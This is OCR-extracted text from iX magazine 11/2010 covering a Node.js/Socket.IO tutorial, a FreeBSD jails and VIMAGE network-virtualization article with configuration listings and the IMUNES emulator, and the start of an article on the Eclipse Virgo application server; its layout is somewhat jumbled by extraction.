Glücklicherwei se hat sich mit Guillermo Rauch jemand gefunden, der eine browserübergreifende Lösung anbietet, sodass man sich nicht wirklich darum kümmern muss, wie es im Hintergrund funktioniert. Und das nicht nur clientseitig [k], sondern ebenso auf der Serverseite für Node [l]. Socket.IO [m] prüft im Browser ab, was für eine Verbindung vorhanden ist. Man kann außerdem angeben, was verwendet werden soll. Alle oben genannten Verfahren stehen zur Verfügung, plus Server-side Events, die man bei Opera verwendet, sodass jeder gängige Browser eine Verbindung aufbauen können sollte. Verhindern Proxies oder gesperrte Ports die Verwendung von Sockets, bleiben immer noch die XHR-Verfahren. In drei Schritten sei hier eine Mini- Anwendung erstellt, die jede Änderung an einem Text auf alle anderen Browser überträgt, die mit Node verbunden sind. Es ist eine entschärfte Version des Chat-Servers, der Socket.IO als Codebeispiel beiliegt. Listingˇ1 bindet zunächst die Module http und url ein (zu require siehe Kasten CommonJS ), die Node zur Verfügung stellt. Die createserver-methode von http erzeugt einen HTTP- Server, den man mit listen() nur noch starten muss. Im Listing wird der Server angewiesen, auf Port 8088 an localhost ( ) zu lauschen. Möchte man von Windows aus auf die virtuelle Linux-Maschine zugreifen, muss man dies ändern, beispielsweise Über console.log kann man einen beliebigen Text an die Konsole ausgeben und erhält so ein Lebens - zeichen von Node. Wie man im Listing sieht, erhält die createserver-methode als Argument eine Funktion, die bestimmt, was beim Eintreffen von Anfragen passiert. Über deren Parameter kann man die Anfrage (request) auswerten und eine Antwort (response) generieren. Im obigen Fall wird lediglich die URL der Anfrage ausgewertet und auf den Pfad reduziert. Das Ergebnis wird als Antwort an den Browser zurückgesendet, so kann man direkt sehen, was die Variable path enthält. Die Codebeispiele dieses Artikels stehen auf dem FTP-Server von ix zur Verfügung. Im Verzeichnis, in dem server.js abgelegt ist, startet man den Server mit node server.js. Um einem richtigen Webserver etwas näher zu kommen, muss das Skript Dateien an den Browser senden können. Node stellt den Dateizugriff über das Modul fs zur Verfügung. In Ver sionˇ2 hat sich die createserver übergebene Funktion wie in Listingˇ2 verändert. Enthält path am Schluss nur den Schrägstrich, fehlt bei der Anfrage eine konkrete Datei. Besser ist es, index. html, so vorhanden, zu verschicken. Die Endung der angefragten Datei verrät, welche Art von Datei zu versenden und wie sie codiert ist (standardmäßig reiner Text und UTF-8). Das Response- Objekt stellt mit writehead(), write() und end() drei Methoden fürs Versenden zur Verfügung. Wird die Datei nicht gefunden, oder geht dabei sonst etwas schief, wird hier der Einfachheit halber immer der HTTP-Statuscode 404 zurückgeschickt. Nur die Konsole gibt Auskunft darüber, was wirklich los war. Das soll für die dritte und letzte Version aber genügen: die Einbindung von Socket.IO. Zusätzliches I/O-Modul einbinden socket.html enthält nur ein mehrzeiliges Textfeld (textarea) mit der ID ein - gabe. Listingˇ3 zeigt das clientseitige JavaScript. CommonJS: Standards für JavaScript-Entwicklung Ein Blog-Beitrag von Kevin Dangoor Anfang 2009 war der Auslöser für die Entwicklung von CommonJS [u]. Zahlreiche, an JavaScript außerhalb des Browers interessierte Mitstreiter schlossen sich zusammen, um gewisse Standards zu definieren, die in JavaScript gegenüber anderen Programmiersprachen schlicht fehlten. So gab es kein richtiges Konzept für Module, kein Paketmanagement und keine Standard-Bibliothek. Auf breite Akzeptanz ist bisher vor allem das Modulsystem gestoßen, von dem Node Gebrauch macht (require). Das kommende ECMA-Scriptˇ5 hat browserseitig etwas ganz Ähnliches in petto, nur als Schlüsselwort, nicht als Funktion. 124 ix 11/2010

125 Onlinequellen Die Einbindung von Socket.IO stellt das Modul io zur Verfügung. Bei den Optionen ist der verwendete Port zu nennen. Hier könnte man gezielt die Art der Verbindungsaufnahme vorgeben. Die Funktion send() wird aufgerufen, sobald jemand den Text im Textfeld ändert. Sie schickt ihn einfach über socket.send(text) an den Server. Im Gegenzug wird jeder eingehende Text (Ereignis message) an das Textfeld übergeben. Wenn man nun die Seite in zwei Browsern öffnet, ist jede Änderung daran im jeweils anderen Fenster zu sehen. Wäre das eine echte kollaborative Textverarbeitung, würde man nur den Unterschied zur vorherigen Textver sion versenden. Mit googlediff-match-patch [n] gibt es hier sogar eine für Java Script verfügbare Lösung. setpath teilt Socket.IO mit, wo es sich befindet. Dies ist unschön, aber für die Verwendung von Flash-Sockets momentan wohl unumgänglich. var io = require('./lib/socket.io/'); bindet auf Serverseite Socket.IO ein ein Modul, dass nicht in Node integriert ist. In der Klammer steht der Pfad zum Socket.IO-Ordner, ausgehend vom aktuellen Verzeichnis (. ). Dies funktioniert, wenn sich die Dateien an den Stellen befinden, wie im Kasten dargestellt. Node folgt einer Empfehlung von CommonJS und sucht in diesem Ordner automatisch nach index.js. Bei anderen Modulen wird aber meistens direkt auf die JavaScript-Datei verwiesen, so war es anfänglich auch bei Socket.IO-node. Im Web kursiert daher Code, der auf die nicht mehr existierende Datei socket. io.js verweist. Im Beispielcode, der Socket.IO-node beiliegt, steht an dieser Stelle unter Umständen noch../. Davon abgesehen ändert sich der Code nur durch das Anhängen der in Listingˇ4 wiedergegebenen Zeilen. Hier tritt ein weiterer Vorteil serverseitigen JavaScripts zu Tage: Der Code ist fast derselbe wie auf dem Client. Die listen()-funktion bekommt den zuvor erzeugten Server übergeben. Socket. IO-node ist so konstruiert, dass es keinen eigenen Server oder Port benötigt. Es hängt sich in jeden vorhandenen hinein. Beim Auf- und Abbau der Verbindung (connection und disconnect) wird dies nur zur Information auf der Konsole ausgegeben. Einzig beim Empfang einer Nachricht (message) passiert das Entscheidende, sie wird mit broadcast() an alle anderen Clients weitergegeben, und mit send() kann man gezielt Daten an einen bestimmten [a] CouchDB couchdb.apache.org/ [b] Node nodejs.org/ [c] Node bei Github github.com/ry/node/ [d] Ryan Dahls Node-Film blip.tv/file/ [e] How to Install Node.JS on Windows blog.dtrejo.com/how-to-install-nodejs-on-windows [f] VirtualBox [g] Getting Started with node.js on Windows getting-started-with-node-js-on-windows/ [h] WinSCP winscp.net/ [i] Sharing Open Source Node.js Libraries with Node Package Manager (npm) 35-sharing-open-source-nodejs-libraries-with-nodepackage-manager-npm [j] WebSockets (W3C) dev.w3.org/html5/websockets/ [k] LearnBoost/Socket.IO github.com/learnboost/socket.io [l] LearnBoost/Socket.IO-node github.com/learnboost/socket.io-node [m] Socket.IO [n] google-diff-match-patch code.google.com/p/google-diff-match-patch/ [o] Deploying Node.js With Upstart and Monit howtonode.org/deploying-node-upstart-monit [p] shimondoodkin / nodejs-autorestart nodejs-autorestart/readme [q] ry/node github.com/ry/node/wiki [r] Virtual Panel: The Node.js Ecosystem Frameworks, Libraries and Best Practices [s] Multi-Core HTTP Server with NodeJS developer.yahoo.net/blog/archives/2010/07/ multicore_http_server_with_nodejs.html [t] Node.js, YUI 3 & Dom Manipulation Oh My! node-js-yui-3-dom-manipulation-oh-my/ [u] CommonJS [v] Express expressjs.com/ [w] Geddy geddyjs.org/ [x] StackVM stackvm.com/ Client senden. Socket.IO-node generiert auf Basis von Zufallszahlen automatisch die sessionid, um die Clients voneinander zu unterscheiden. Ein Hinweis zum Schluss: Socket.IO (nicht IO-node) fußt zum Teil auf Hiroshi Ichikawas WebSocket-Implementierung mit Flash. Als eigenständiges Projekt ist dies nicht Bestandteil des Downloads von Socket.IO, was dazu führen kann, dass das Fehlen der Datei WebSocketMain.swf einen Fehler ver - ursacht. Es ist jedoch im Beispielprojekt von Socket.IO-node vorhanden und kann von dort (\example\client\lib\ven dor\web-socket-js) kopiert werden. Fazit Momentan liegt Node in Version vor. Trotzdem ist es schon im Einsatz. Der frühen Versionsnummer ist es wohl geschuldet, dass es noch keinen ein - fachen Weg gibt, Node zu stoppen und zu starten. Neben dem schlichten Abschießen bietet sich die Verwendung von upstart [o] an. Auch das für Node verfasste autorestart [p] ist eine Alternative. Socket.IO hat mit Version ebenfalls noch eine 0 vor dem Punkt, man muss auf Änderungen gefasst sein. github.com hält beide Projekte vor, daher kann man dort einfach die Veränderungen nachvollziehen. Das Node-Wiki [q] nennt schon zahlreiche Projekte und Firmen, die Node in Verwendung haben. Unlängst erschien bei InfoQ ein Artikel [r], der die Projekte besonders aktiver Entwickler vorstellt. Auch in den Blogs von Entwicklern bei Yahoo [s, t] ist Node zu finden, so hat einer aus dem YUI-Team das für den Browser gedachte YUI3 verwendet, um auf Serverseite ein HTML-Dokument über JavaScript-Code zu erzeugen. Wie ein Kommentator schrieb: seriously cool stuff. (hb) STEFAN NEUMANN ist selbstständiger Softwareentwickler und arbeitet gegenwärtig am Infor - mationssystem Dacius, das fast voll - ständig in JavaScript implementiert wird. x ix 11/

126 PRAXIS Virtualisierung kann man weitere Jails zum Testen und Lernen einrichten und so Änderungen oder neue Versionen parallel zum laufenden System testen. Grundlegende Renovierung: Jails v2 Mit FreeBSD-Jails Netze emulieren Handgeknüpft Dirk Meyer So ganz neu ist das Konzept der Jails in FreeBSD nicht, die Entwickler haben sie aber erheblich erweitert. Vor allem die neuen Funktionen zur Netzwerkvirtualisierung eröffnen viele Einsatzmöglichkeiten. Mit der Freigabe der Version 4.0 im März 2000 führten die FreeBSD- Entwickler das Konzept der Jails in das freie Unix ein (siehe Onlinequellen [a]). Wie der Artikel Eingesperrt [1] beschreibt, realisiert ein FreeBSD-Jail einen virtuellen Bereich, der aus Sicht der Programme wie ein eigenständiges Betriebssystem aussieht. Es existiert jedoch nur ein einziger Kernel, der alle Ressourcen verwaltet, daher kann man die volle Performance des Rechners nutzen. Im Jail ist root nicht mehr allmächtig. Beispielhaft die wichtigsten Einschränkungen: ˇEs gibt keinen direkten Zugriff auf Festplatten, nur der zugewiesene Baum im Dateisystem ist erreichbar, ˇDateisysteme lassen sich nicht nachträglich mounten, ˇim Jail können Programme nur die fest konfigurierten IP-Adressen verwenden, ˇes existiert keine Zugriffsmöglichkeit auf die Dateien und Prozesse außerhalb des Jail. Jeder Bereich besitzt seine eigenen Konfigurationsdateien, Programme, Bibliotheken und Daten. Damit lassen sich administrative Aufgaben verteilen. Jeder root-account im Jail kann seinen Bereich verwalten, ohne die anderen zu stören. Eine Trennung oder Virtualisierung der Dienste ist sinnvoll, bringt Übersichtlichkeit und vermeidet gleichzeitig Seiteneffekte durch gemeinsam genutzte Bibliotheken. So können auf einem Server ein DNS-Server, ein Mailserver und ein Webserver in je einem eigenen Jail laufen. Bei Bedarf Seit FreeBSD 7.2 (Mai 2009) kann der Administrator einem Jail mehrere IP-Adressen zuweisen. Dazu gibt er die IP-Adressen einfach beim Starten des Jail als durch Komma getrennte Parameter an. Dabei kann ein Jail auch alle IP-Adressen des Hostsystems erben oder ganz ohne auskommen. Inzwischen arbeiten Jails mit IPv6- Adressen auch im Mixbetrieb mit IPv4-Pendants. Beispielsweise kann man mit IPv6-only- und IPv4-only- Jails die Erreichbarkeit aller Systeme prüfen. Ab der Version 7.3 bietet Free - BSD eine zweite Variante zum Starten eines Jail: Der Nutzer kann jetzt alle Parameter als Wertepaar <Name> =<Wert> in freier Reihenfolge angeben, lediglich der Parameter command muss am Ende stehen. Alte Version, feste Reihenfolge der Parameter: jail / jail /bin/csh jail / jail1 2001:1440:5001:1::2 /bin/csh Neue Version, freie Reihenfolge: jail -c host.hostname=jail1 ip4.addr= path=/ command=/bin/csh jail -c host.hostname=jail1 ip6.addr=2001:1440:5001:1::2 path=/ command=/bin/csh Startet ein Jail nach der alten Methode, gelten die Einschränkungen, die der Administrator via sysctl eingestellt hat. Datenbanken benötigen oft Shared Memory (System V IPC), was ein secu rity.jail.sysvipc_allowed=1 erlaubt. Allerdings sollte man bedenken, dass dieser Speicher global sichtbar ist, also überall, wo man es erlaubt hat. security. jail.allow_raw_sockets=1 gestattet einem Jail den Zugriff auf RAW-Sockets, beispielsweise zur Nutzung von ping oder traceroute. Mit security.jail.ch flags_allowed=1 darf root im Jail die Flags der Dateien ändern, etwa das Immutable - oder Append-only -Bit. Über die Direktive security.jail.mount_ allowed=1 lassen sich innerhalb eines Jail zur Laufzeit weitere Dateisysteme einbinden. Dazu müssen jedoch auch 126 ix 11/2010

127 die zugehörigen Devices darin sichtbar sein. Mit Jails v2 lassen sich die Optionen für jedes Jail einzeln setzen. Dazu dienen beim Starten einer oder mehrere der folgenden Parameter: allow.noset_hostname, allow.sysvipc, allow. raw_sockets, allow.chflags oder allow.mount. Auch hierarchische Aufrufe sind möglich, so dürfen Anwender beim Startparameter children.max=2 innerhalb dieses Jail zwei weitere starten. Diese verschachtelten Jails kann man vom erzeugenden aus verwalten, die Berechtigungen des Eltern-Jail jedoch nicht erweitern. Werkzeugkasten inklusive Für die Jail-Verwaltung liefert Free - BSD eine Reihe von Hilfsprogrammen mit. Zum Anzeigen aller Jails und deren zentraler Daten dient das Programm jls, eine Beispielausgabe findet sich in Listingˇ1. Der Aufruf eines Programms innerhalb eines aktiven Jail kann vom Host über das Programm jexec erfolgen. Im einfachsten Fall ist das eine Shell (/bin/sh, /bin/csh), es lässt sich aber auch jedes andere, im Jail vorhandene Programm starten. t5# jexec 1 csh build8# exit t5# ˇ t5# jexec 1 hostname build8.dinoex.sub.de ˇ t5# jexec 1 killall httpd No matching processes were found Sollen Jails automatisch starten, erfolgt die Steuerung über das Skript /etc/rc. d/jail. Der Administrator konfiguriert es ganz normal über die Datei /etc/rc.conf und legt die eingetragenen Jails beim Start des Host an (siehe Listingˇ2). Will man viele Jails verwalten, so kann deren Erzeugung und Administration interaktiv mit weiteren Werkzeugen erfolgen. Das Paket ezjail (/usr/ x-tract ports/sysutils/ezjail) erlaubt es, zusätzlich Platz auf den Festplatten zu sparen. Es erzeugt die benötigten Dateisysteme des Grundsystems nur einmal und blendet sie als nicht beschreibbar in alle Jails ein. Listingˇ3 zeigt, wie das bei zwei via ezjail eingerichteten virtuellen Servern aussehen kann. FreeBSD enthält im Basissystem einen SNMP-Server. In den Ports existiert für diesen das Modul bsnmp-jails (/usr/ports/net-mgmt/bsnmp-jails), mit dem sich viele Daten der Jails erfassen lassen. Über MRTG oder andere Programme können daraus schöne Grafiken für die Auslastung entstehen. Darüber hinaus kann der Administrator mit Nagios die Funktion der einzelnen Jails überwachen. Listingˇ4 führt die an /etc/snmpd.config erforderlichen Ergänzungen auf. FreeBSDˇ8 mit neuer Netzwerkvirtualisierung Ende letzten Jahres integrierten die Entwickler das Projekt VIMAGE zur Netzwerkvirtualisierung in FreeBSDˇ8 [b]. Für Benutzer ergeben sich daraus völlig neue Anwendungsfelder jedoch muss man hierfür einen passenden Kernel erzeugen. Ein Beispiel zum Erstellen und Installieren eines erweiterten Kernels ist in Listingˇ5 zu sehen. Dank VIMAGE bietet FreeBSDˇ8 Jails mit eigenem Netzwerk-Stack. Diese skalieren sehr gut, da sie nur wenig zusätzlichen Arbeitsspeicher benötigen. Mit dem Stack besitzt das Jail dann eine eigene Routing-Tabelle, ein eigenes Loopback-Interface, separaten Speicher für die Datenpakete und eigene Parameter für TCP/IP, insbesondere einen unabhängigen IP-Adressraum. Man kann nach Herzenslust die Parameter für das Netz verändern, zum Beispiel bei netzlastigen Anwendungen die Puffergröße mit net.inet.tcp.recvbuf_max oder für Experimente mit dem Routing die TTL net.inet.ip.ttl. Schon seit Jahren bietet FreeBSD mit Jails eine ressourcenschonende Möglichkeit, verschiedene Systemumgebungen parallel und unabhängig voneinander auf einem System zu betreiben. Seit Releaseˇ8 beherrschen die Jails des freien Unix-Derivats voll funktionsfähige, virtuelle Netzwerk-Interfaces. Unter Nutzung aktueller Jails-Versionen kann der GUI-gesteuerte Emulator IMUNES komplette Netzumgebungen virtuell nachbilden. Listing 1: Ausgabe von jls JID IP Address Hostname Path build8.dinoex.sub.de /usr/jail/build geobaldi1.dinoex.sub.de / geobaldi2.dinoex.sub.de / Listing 2: Ausschnitt von /etc/rc.conf jail_enable="yes" jail_list="myjail" jail_set_hostname_allow="no" jail_sysvipc_allow="no" jail_myjail_rootdir="/usr/jail/myjail" jail_myjail_hostname="myjail.example.com" jail_myjail_ip=" " jail_myjail_exec="/bin/sh /etc/rc" jail_myjail_devfs_enable="yes" jail_myjail_mount_enable="no" Listing 3: Per ezjail erzeugte Konfiguration Filesystem Size Mounted on /dev/mirror/gm0s1a 9.7G / devfs 1.0K /dev /dev/mirror/gm0s1e 29G /tmp /dev/mirror/gm0s1d 9.7G /usr /dev/mirror/gm0s1f 850G /var /usr/ports 9.7G /var/jails/build/usr/ports /usr/jails/basejail 9.7G /var/jails/www/basejail devfs 1.0K /var/jails/www/dev fdescfs 1.0K /var/jails/www/dev/fd procfs 4.0K /var/jails/www/proc /usr/jails/basejail 9.7G /var/jails/test/basejail /usr/ports 9.7G /var/jails/test/usr/ports devfs 1.0K /var/jails/test/dev fdescfs 1.0K /var/jails/test/dev/fd procfs 4.0K /var/jails/test/proc Listing 4: Ergänzungen in /etc/snmpd.config begemotsnmpdmodulepath."jails" = "/usr/local/lib/snmp_jails.so" %jails jailnetworkfilter = "not net /8" jailmeasureinterval = Beim Starten des Jail mit der Option vnet legt der Kernel ein virtuelles Netz- Device an. Wie in Listingˇ6 zu sehen, ist es damit im Netz ein vollständig unabhängiges System. Wenn das Jail existiert, lassen sich eine oder mehrere Netzwerkkarten vom Host dorthin verschieben. Bereits gesetzte IP-Adressen gehen dabei allerdings verloren, man muss sie wie in Listingˇ7 neu konfigurieren. Alternativ lässt sich ein vorhandenes Netz weiterreichen. Wie Listingˇ8 zeigt, funktioniert das über eine Bridge. Jails als Test- und Demonstrationsplattform In jedem Jail lässt sich ein anderer Uplink oder Tunnel aufbauen, ohne dass diese miteinander oder mit dem Hauptsystem in Konflikt kommen. Dies kann man nutzen, um beispielsweise ein neues Gateway zu testen, ix 11/

128 PRAXIS Virtualisierung IMUNES ein Netzwerkemulator Ein Team an der Universität von Zagreb entwickelte die Netzwerkvirtualisierung für FreeBSD 4.11 und stellte sie im Januar 2007 fertig. Auf dieser Basis entstand der Integrated Multiprotocol Network Emulator/Simulator (IMUNES). Bei einer Simulation erzeugt IMUNES im Hintergrund die passende Anzahl von Jails und verbindet sie gemäß der eingetragenen Parameter. Jedes Jail agiert als eigenständiger Knoten im Netz, in dem alle Systemfunktionen zur Verfügung stehen. Unter IMUNES lassen sich sämtliche Netzfunktionen benutzen, alle simulierten Knoten existieren, und der Netzverkehr findet in Echtzeit statt. So lassen sich Kapazitäten, Latenzen, Paketverluste, Routing und vieles mehr direkt erproben. Zur Diagnose können jederzeit Standardwerkzeuge wie tcpdump oder wireshark dienen. Im Gegensatz zu anderen Simulationen kann man auf den jeweiligen Netzknoten eine Shell oder andere Programme starten und direkt das Netz benutzen. In der Emulation kann der Anwender das Funktionieren von ARP genauso beobachten wie im realen Netz. Ping und Traceroute für IPv4 und IPv6 arbeiten ebenfalls wie gewohnt. Zu Testzwecken lässt sich die Bandbreite der einzelnen Verbindungen begrenzen, beispielsweise um das Verhalten einer Leitung an der Leistungsgrenze zu emulieren. Verzögerungen sind ebenfalls separat einstellbar, wodurch sich das Laufzeitverhalten von Weitverkehrsverbindungen nachbilden lässt. Über die Fehlerrate kann man gestörte Leitungen oder WLANs abbilden. Das Verhalten der Netzprotokolle bei Paketverlusten ist somit bequem reproduzierbar. Bei einer TCP-Verbindung kann man die zusätzlichen Übertragungen sehen, und die Window Size gegebenenfalls für den Durchsatz optimieren. In einer simulierten DHCP-Umgebung lassen sich beispielsweise die Client- Broadcasts testen, oder wie die Clients auf unterschiedlich schnelle Antworten von den Servern reagieren. Auch VPN-Tunnel kann man hier gefahrlos ausprobieren in aller Ruhe das Routing festlegen und Weiterleitungen testen, bevor man die realen Systeme konfiguriert. In komplexeren Netzen kann man so Routing-Protokolle erproben und einsetzen sowie die Auswirkungen von Störungen auf dem Weg der Pakete simulieren, damit die redundanten Wege im Netz tatsächlich wie geplant funktionieren. Listing 5: Kernel-Konfiguration erweitern # cat > /usr/src/sys/amd64/conf/vimage8 include GENERIC ident VIMAGE8 nooptions SCTP options VIMAGE ^D # cd /usr/src && make KERNCONF=VIMAGE8 buildkernel # cd /usr/src && make KERNCONF=VIMAGE8 installkernel # shutdown -r now ohne seine gewohnte Desktop-Umgebung unterbrechen zu müssen. Auch OpenVPN als Client funktioniert in einem solchen Jail. Damit kann ein Anwender in unterschiedlichen Jails gleichzeitig VPNs nutzen, deren IP- Adressen sich normalerweise stören würden. Je nachdem, in welchem Jail ein Programm startet, benutzt es das dort vorhandene Netz. Die VPNs sind dadurch vom Host und anderen Jails isoliert. Damit kann man effektiv verhindern, dass andere Programme über das VPN unerwünschte Verbindungen aufbauen. Prinzipiell lässt sich selbst PPPoE im Jail realisieren. Leider funktioniert das derzeit nur, wenn man die Kernel- Module für Netgraph nach dem Erstellen des Jail im Host lädt. Dank des eigenen Netzwerk-Stack verfügt ein Jail auch über eine eigene Firewall. Zurzeit funktioniert dies nur mit der BSD-eigenen Firewall ipfw. So kann man gut den Fall demonstrieren, was passiert, wenn ein Router unsinnigerweise alle ICMP-Pakete blockiert. Beim Netzwerkemulator IMUNES baut sich der Anwender aus vorgegebenen Komponenten die gewünschte Netzinfrastruktur zusammen; für den Live-Funk - tionstest generiert und startete die Software dann im Hintergrund die benötigten FreeBSD-Jails (Abb.ˇ1). In komplexen Netzumgebungen lässt sich mit IMUNES komfortabel unter anderem das Routing-Verhalten testen (Abb.ˇ2). Listing 6: Die Jail-Option jail -c jid=9 vnet path=/ host.hostname=jail1 command=/bin/csh jail1:# ifconfig lo0: flags=8008<loopback,multicast> metric 0 mtu options=3<rxcsum,txcsum> jail1:# ifconfig lo /8 jail1:# ifconfig lo0: flags=8049<up,loopback,running,multicast> metric 0 mtu options=3<rxcsum,txcsum> inet netmask 0xff inet6 ::1 prefixlen 128 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1 nd6 options=3<performnud,accept_rtadv> 128 ix 11/2010

129 Listing 7: IP-Adressen im Jail konfigurieren host:~# jail -c jid=9 vnet path=/ host.hostname=jail1 \ command=/bin/csh jail1:# host:~# ifconfig epair0 create host:~# ifconfig epair0a /24 host:~# ifconfig epair0b vnet 9 jail1:~# ifconfig epair0b /24 jail1:~# ping -t jail1:~# route add default Listing 8: Ein Netz via Brigde ans Jail weiterreichen host:~# jail -c jid=9 vnet path=/ host.hostname=jail1 \ command=/bin/csh jail1:# host:~# ifconfig epair1 create host:~# ifconfig epair1a up host:~# ifconfig epair1b vnet 9 host:~# ifconfig bridge0 create host:~# ifconfig bridge0 addm bge0 addm epair1a up jail1:~# dhclient epair1b jail1:~# ping -t 1 In der laufenden Entwicklung befinden sich weitere Teilprojekte: Das Verwalten der Quotas sowie die Firewall pf in einem Jail und CPU- und RAM-Limits. Komplexere Szenarien live testen Wie der Kasten IMUNES ein Netzwerkemulator beschreibt, entstand die GUI-basierte Software an der Uni Zagreb parallel zur FreeBSD-Netzvirtualisierung. Für eine einfache Nutzung stellen die Entwickler ein Image einer fertigen virtuellen Maschine (VM) zum Download bereit [d]. Nach dem Hochfahren der VM muss man zunächst als root via startx die grafische Ober - fläche aktivieren. Anschließend startet ein in einer Shell aufgerufenes imunes den Emulator. Für das in Abbildungˇ1 gezeigte Beispiel sind zunächst zwei Router und dazu zwei Server anzulegen. Diese verbindet man mit dem Link-Werkzeug miteinander. Der Emulator vergibt zunächst automatisch passende IP-Adressen und benutzt für die Verbindungen Standardeinstellungen. Zum Ändern der Werte öffnet ein Doppelklick auf die jeweilige Verbindung ein Pop-up- Fenster, in dem man die neuen Werte Onlinequellen [a] Jails wiki.freebsd.org/jails en.wikipedia.org/wiki/freebsd_jail [b] VIMAGE wiki.freebsd.org/networkvirtualization imunes.tel.fer.hr/virtnet [c] IMUNES imunes.tel.fer.hr/imunes [d] VMware-Image imunes.tel.fer.hr/virtnet/imunes_7_0_ zip [e] Online-Handbuch /books/handbook einträgt. So soll im Beispiel die Bandbreite für die Verbindungen zu den Servern 100ˇ000ˇ000 (100ˇMbps) und die Bandbreite zwischen den Routern 2ˇ048ˇ000 (2ˇMbps) betragen. Die Verbindung zwischen den Routern soll eine Verzögerung von 2,5 ms besitzen (Delay: 2500), und deren Bitfehlerrate eins zu 100ˇ000 (BER) betragen. Damit ist das Netz fertig konfiguriert, und ein Klick auf Experiment >Execute startet die Emulation. Per Rechtsklick auf die Server ruft man je ein Xterm mit /bin/sh als Shell auf. Im ersten Terminalfenster startet man jetzt das Programm netserver, im zweiten via netperf -H eine Messung. Nach einiger Zeit meldet netperf die reale Bandbreite, einen Wert von unter 250 kbit/s. Setzt man jetzt im laufenden Betrieb die Bitfehlerrate der Verbindung zwischen den Routern auf Null, dann sollte eine Wiederholung der Messung im zweiten Terminal eine Bandbreite von 2ˇMbps ergeben. Fazit Wie man sieht, eröffnet die Netzwerkvirtualisierung von FreeBSD 8.x neue Wege, Netze und Netzdienste zu planen und zu verteilen. Vor allem in Kombination mit den vielfältigen Optionen von IMUNES können Interessierte ihrem Simulationsspieltrieb freien Lauf lassen. (avr) DIRK MEYER ist Diplom-Informatiker (FH) und arbeitet als Leiter Entwicklung und Support bei der Servator Consulting GmbH und Committer im FreeBSD-Projekt. Literatur [1]ˇChristoph Herrmann; FreeBSD; Eingesperrt; BSD-Jails als Werkzeug zur Systemabsicherung; ixˇ3/2002, S.ˇ138 x ix 11/

130 PRAXIS Applikationsserver Virgo: Serverseitige Webanwendungen aus Komponenten Jungfräulich Eldar Sultanow Der Spring Dynamic Modules Server geht im Eclipse-Projekt Virgo auf. Dieser OSGi-konforme Application Server soll die serverseitige Webentwicklung einen großen Schritt nach vorn bringen. Aller Anfang ist jedoch schwer, es gibt noch zahlreiche Hürden zu überwinden. Eclipse Virgo ist ein Applikationsserver, der anders als JBoss und GlassFish auf dem Spring Dynamic Modules Server (Spring DM) basiert. Der wiederum bietet ein Framework zum Erstellen von OSGi-Anwendungen. Das hinter dem Begriff OSGi arbeitende Konsortium stellt ein Konzept zum Entwickeln, Modularisieren und Verwalten von Software nach dem Komponentenmodell zur Verfügung. Mit Spring als Vehikel überträgt Virgo dieses Modell in die Serverwelt und eröffnet so der dort angesiedelten Webentwicklung neue Perspektiven (siehe Kasten Theorie des Dekompositionsprinzips ). Die Codebasis des Spring- Servers wird nun im Rahmen von Virgo als Eclipse-Runtime-Projekt weiterentwickelt. Den Spring-DM-Anwen - dern legt man nahe, zu dem unter der Eclipse Public Licence stehenden Virgo zu wechseln. Das Deployment serverseitiger Applikationen ist traditionell umständlich. Problem: Beim Einrichten ist die Webanwendung nicht erreichbar, denn sie wird ja erst auf den Server geladen. Load Balancing über redundante Server schafft zwar etwas Linderung, beseitigt aber nicht die Schwierigkeiten der Session-Replikation es sei denn, man nimmt in Kauf, dass die Verbindungen der Benutzer abbrechen, wenn ein redundanter Server gestartet wird und sie sich erneut einloggen müssen. Session- Replikation ist äußerst aufwendig und nur mit schwergewichtigen Servern wie GlassFish in den Griff zu bekommen. Idealerweise bemerkt der Benutzer nichts von diesen Vorgängen, in der Praxis sieht das jedoch meist anders aus. Heißes Pflaster Der große Vorteil der OSGi-Komponenten: Sie lassen sich zur Laufzeit einrichten, ohne dass dazu die Webanwendung neu gestartet werden muss. Das neue Modul klinkt sich einfach ein und löst das alte ab. Es dürfen sogar zwei Versionen desselben Moduls zur Laufzeit existieren, da sich zwei getrennte Classloader darum kümmern. Man kennt das aus Eclipse, wenn man dort ein neues Modul (Plug-in) installiert, ist es sofort betriebsbereit. Dieses Prinzip, Hot Deployment genannt, funktioniert dank Virgo nun auch in der Serverwelt. Virgos Kernel ist vom verwendeten Webserver unabhängig, das heißt, den mitgelieferten Tomcat muss man nicht verwenden. Das Kernprogramm arbeitet 130 ix 11/2010

131 auch stand-alone als Rich-OSGi-An - wendungsplattform. Eine Server-Laufzeitumgebung lässt sich mithilfe geeigneter Bundles auf den Kernel aufbauen (dazu unten mehr). Zu den wesentlichen Funktionen und Tools von Virgo zählt die Administrationskonsole, über die der Entwickler Artefakte einrichtet und die Bundles-Struktur nachvollzieht. Eine Equinox-Konsolen-Erweiterung ermöglicht das Verwalten von Artefakten und ihr Deployment. Virgo stellt sogenannte Pläne zur Definition von Artefakten bereit, außerdem die Abhängigkeiten einer Applikation einschließlich ihrer Bundles, dem Plan-Archive (PAR) sowie Konfigurationen von lokalen und Remote-Repositories. Ein Spring-Repository liefert, ähnlich wie eines von Maven, die notwendigen Bibliotheken automatisch. Komplizierte Abhängigkeiten Virgos Webcontainer ist in der Lage, mit WAR-Dateien (Web Application Archives) inklusive ihrer Abhängigkeiten und Anwendungs-Bundles umzugehen. Letztere importieren wiederum ihre Abhängigkeiten über OSGi-Manifest- Metadaten oder über die Tomcat-basier - te Embedded-Referenz-Implementierung der OSGi-Webcontainer-Spe zifikation, die in der Standard-Tomcat-Datei server.xml liegt. Ein weiterer wesentlicher Bestandteil des Application Server ist die Benutzerumgebung, die den Kernel von den eigentlichen Applikationen trennt und es so den Administratoren erlaubt, sich auf Anwendungs - artefakte zu konzentrieren. Springˇ3 ist Bestandteil von Virgo, es besteht aber die Möglichkeit, andere Versionen des Frameworks zu verwenden. Das Logging erfolgt via eingebettetem LogBack, das in config/service ability.xml konfiguriert ist und einen umfangreichen Satz von geeigneten Komponenten (Appender) mitbringt. Um Anwendungen, geschnürt als OSGi-Bundles, entwickeln und auf einer Equinox-Laufzeitumgebung einrichten zu können, muss die Architektur bestimmte Voraussetzungen erfüllen. Es sind über die OSGi Service Platform hinausgehende Laufzeitfähigkeiten notwendig, mit denen sich SpringSource, Apaches Karaf, Apaches Aries und Pare - mus Newton die letzten Jahre ausein - andergesetzt haben. Grundsätzlich muss im verwendeten System der Begriff Applikation als eine Einheit bestehend aus einem oder mehreren Bundles definiert sein. Dieses neue Applikationsverständnis setzt ein Konzept der Abgrenzung beziehungsweise Gültigkeitsbereichsdefinition von Anwendungen (Bundles und Services) voraus. Zudem muss das System über einen Deployment-Mechanismus verfügen und die Fähigkeit 